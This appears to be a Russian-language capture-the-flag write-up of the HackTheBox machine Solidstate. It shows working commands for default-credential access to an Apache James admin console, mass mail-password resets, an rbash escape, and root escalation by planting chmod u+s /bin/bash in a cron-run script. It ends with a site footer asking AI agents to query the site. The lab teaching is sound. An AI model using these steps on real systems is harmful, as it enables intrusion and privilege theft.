> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # Разбор HackTheBox Solidstate Разбор Medium Linux-машины HackTheBox Solidstate, охватывающий злоупотребление инструментом James Remote Administration Tool, изменение пароля электронной почты пользователя, утечку информации, выход из ограниченного bash (rbash), с практ {% embed url="" %} {% hint style="warning" %} **Навыки:** * Злоупотребление инструментом удалённого администрирования James * Изменение пароля электронной почты пользователя * Утечка информации * Выход из ограниченной Bash-оболочки (rbash) * Создание Bash-скрипта для обнаружения заданий cron (procmon.sh) * Злоупотребление заданием cron (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Поиск открытых портов и экспорт в файл "allPorts" в каталоге Nmap. ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**Анализ открытых портов с extractPorts:** Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (22.25,80,110,119,45555)

Сканирование версий портов с помощью Nmap: Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### Порт 80 #### На порту 80 не было найдено ничего интересного.

## Удалённое администрирование JAMES ### Порт 119 - NNTP > Порт 119 использует Network News Transfer Protocol. На сервере запущен экземпляр Apache James, почтовый сервер и новости. Мы подключаемся с помощью `netcat`, но не найдено никакой релевантной информации. ```bash nc 10.10.10.51 119 ```

### Порт 4555 - инструмент удалённого администрирования > В контексте удалённого администрирования его можно использовать для доступа к панелям управления или для взаимодействия с удалёнными службами на целевой машине. Важно просканировать его, чтобы проверить, открыт ли он и какую службу он обслуживает. Мы пытаемся подключиться к панели администрирования James через Telnet: ```bash telnet 10.10.10.51 4555 ```

После поиска учётных данных по умолчанию мы находим: * **ID** : root * **Пароль** : root

Мы успешно подключаемся и получаем доступ к панели администрирования James. У нас есть возможность перечислить пользователей с помощью `listusers` команды, что позволяет нам обнаружить 5 пользователей: * `пользователь: james` * `пользователь: thomas` * `пользователь: john` * `пользователь: mindy` * `пользователь: mailadmin`

Мы можем менять пароли пользователей с помощью `setpassword` команды, чтобы подключить их к почтовому клиенту на порту 110. Мы делаем это для всех пользователей: ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### Порт 110 - POP3 > Порт 110 — это стандартный порт, используемый для **POP3** (Post Office Protocol version 3). Этот протокол используется почтовыми клиентами для получения писем с сервера. Когда пользователь подключается к серверу POP3 через этот порт, он может загрузить свои сообщения. Теперь мы подключаемся к POP3-клиенту через Telnet:

telnet 10.10.10.51 110

Для подключения мы используем следующие команды: ```ada USER PASS ``` Мы просматриваем сообщения с помощью `list` команду. Мы замечаем, что в почтовых ящиках `james` и `thomas`.

Однако у пользователя `john` есть сообщение, которое мы извлекаем с помощью `retr 1` команды. Сообщение содержит следующий текст: > Джон, > > Не мог бы ты ограничить доступ Минди, пока ей не разрешат присоединиться к программе? Также обязательно отправь ей временный пароль, чтобы она могла подключиться к своим аккаунтам. > > Заранее спасибо. > > С уважением,/ Джеймс

Это указывает на то, что пользователь `mindy` хранит учётные данные в своём почтовом ящике. Действительно, мы находим следующую информацию: * **Имя пользователя** : mindy * **Пароль** : P\@55W0rd1!2@

Мы используем эти учётные данные для подключения по SSH и получения флага `user.txt`. ### Флаг user.txt :)

## Повышение привилегий : ### **Выход из RBash в Bash** Эта `mindy` пользователь в данный момент использует `rbash` оболочку, которая ограничивает выполнение многих команд.

Чтобы обойти это ограничение, при подключении по SSH мы используем следующую команду для получения оболочки Bash: ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

Затем мы используем следующие команды, чтобы настроить терминал и получить полноценную оболочку: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Задания cron - Модифицированный скрипт (Python): Мы создаём Bash-скрипт для анализа текущих процессов и обнаружения заданий cron, выполняемых на целевой машине: ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process done ``` Запустив этот скрипт, мы замечаем, что **root** пользователь запускает скрипт Python, расположенный в `/opt/tmp.py` каталоге.

У нас есть возможность изменить этот скрипт Python.

Мы изменяем его, добавив команду для установки **setuid** на `/bin/bash` бинарный файл, позволяющий нам запустить оболочку Bash с привилегиями **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` После редактирования скрипта мы ждём около минуты, пока выполнится задание cron. Как только задание cron будет выполнено, мы сможем получить оболочку Bash с **root** привилегиями, выполнив следующую команду: ```bash /bin/bash -p ```

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.